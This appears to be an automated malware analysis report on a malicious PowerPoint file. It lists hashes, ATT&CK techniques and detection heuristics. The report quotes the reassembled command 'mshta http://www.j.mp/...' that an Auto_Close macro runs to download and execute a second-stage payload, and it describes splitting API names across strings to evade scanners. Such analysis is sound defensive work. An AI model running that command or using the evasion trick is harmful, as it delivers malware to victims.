Office (OLE) / .PPT malware analysis — malicious · 18b7a818fd88133d

MALICIOUS

Office (OLE) / .PPT

77.5 KB Created: 2006-08-16 00:00:00 Authoring application: Microsoft Office PowerPoint

MD5: 858604f0166fa58fe09e96988a87477c SHA-1: bed0b866c6b8cc1048153b22e96a51f464d6582b SHA-256: 18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize the Auto_Close subroutine to execute a command. This command reassembles the string 'mshta http://www.j.mp/djaksldqowdihjdam' and executes it. The use of mshta.exe with a URL strongly suggests the download and execution of a secondary payload, a common technique for malware delivery.

Heuristics 6

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION

VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Reference to mshta.exe high SC_STR_MSHTA

Reference to mshta.exe
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `d0948f2916ec81da0f4b114a47e8705487982019e6bd36fecfad03c814f1cd0b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	671 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.